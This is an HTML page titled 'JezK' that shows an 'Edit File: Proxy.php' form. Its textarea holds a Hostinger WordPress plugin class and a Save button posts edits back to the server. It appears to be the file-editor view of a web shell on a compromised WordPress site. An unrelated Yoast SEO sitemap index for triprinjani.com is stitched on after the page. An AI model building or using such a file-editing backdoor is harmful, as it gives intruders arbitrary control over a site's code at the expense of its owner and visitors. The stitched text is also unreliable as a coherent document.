
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: Proxy.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

namespace Hostinger\Admin;

use Hostinger\Mcp\EventHandlerFactory;
use Hostinger\WpHelper\Requests\Client;
use Hostinger\WpHelper\Utils;
use WP_Error;

defined( &#039;ABSPATH&#039; ) || exit;

class Proxy {

    public const HOSTINGER_FREE_SUBDOMAIN_URL     = &#039;hostingersite.com&#039;;
    public const HOSTINGER_DEV_FREE_SUBDOMAIN_URL = &#039;hostingersite.dev&#039;;


    private Client $client;
    private Utils $utils;
    private string $rest_base;

    public function __construct( Client $client, Utils $utils ) {
        $this-&gt;client    = $client;
        $this-&gt;utils     = $utils;
        $this-&gt;rest_base = &#039;/api/v1/events/trigger&#039;;
    }

    public function trigger_event( string $event, array $params = array() ): array|WP_Error {
        if ( $this-&gt;is_free_subdomain() || ! $_SERVER[&#039;H_PLATFORM&#039;] ) {
            return new WP_Error( &#039;domain-not_allowed&#039;, &#039;This domain is not eligible for triggering Hostinger events&#039; );
        }

        $args = array(
            &#039;domain&#039; =&gt; $this-&gt;remove_www( $this-&gt;utils-&gt;getHostInfo() ),
            &#039;event&#039;  =&gt; array(
                &#039;name&#039;   =&gt; $event,
                &#039;params&#039; =&gt; $params,
            ),
        );

        return $this-&gt;client-&gt;post( $this-&gt;rest_base, $args );
    }

    private function is_free_subdomain(): bool {
        return str_contains( $this-&gt;utils-&gt;getHostInfo(), self::HOSTINGER_FREE_SUBDOMAIN_URL ) ||
                str_contains( $this-&gt;utils-&gt;getHostInfo(), self::HOSTINGER_DEV_FREE_SUBDOMAIN_URL );
    }

    private function remove_www( string $url ): string {
        if ( str_starts_with( $url, &#039;www.&#039; ) ) {
            return substr( $url, 4 );
        }

        return $url;
    }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//triprinjani.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://triprinjani.com/post-sitemap.xml</loc>
		<lastmod>2026-09-26T02:10:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/page-sitemap.xml</loc>
		<lastmod>2026-09-25T16:40:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/activity-sitemap.xml</loc>
		<lastmod>2026-09-14T14:27:43+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/category-sitemap.xml</loc>
		<lastmod>2026-09-26T02:10:14+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/post_tag-sitemap.xml</loc>
		<lastmod>2026-06-01T04:49:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://triprinjani.com/author-sitemap.xml</loc>
		<lastmod>2026-05-11T10:02:51+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->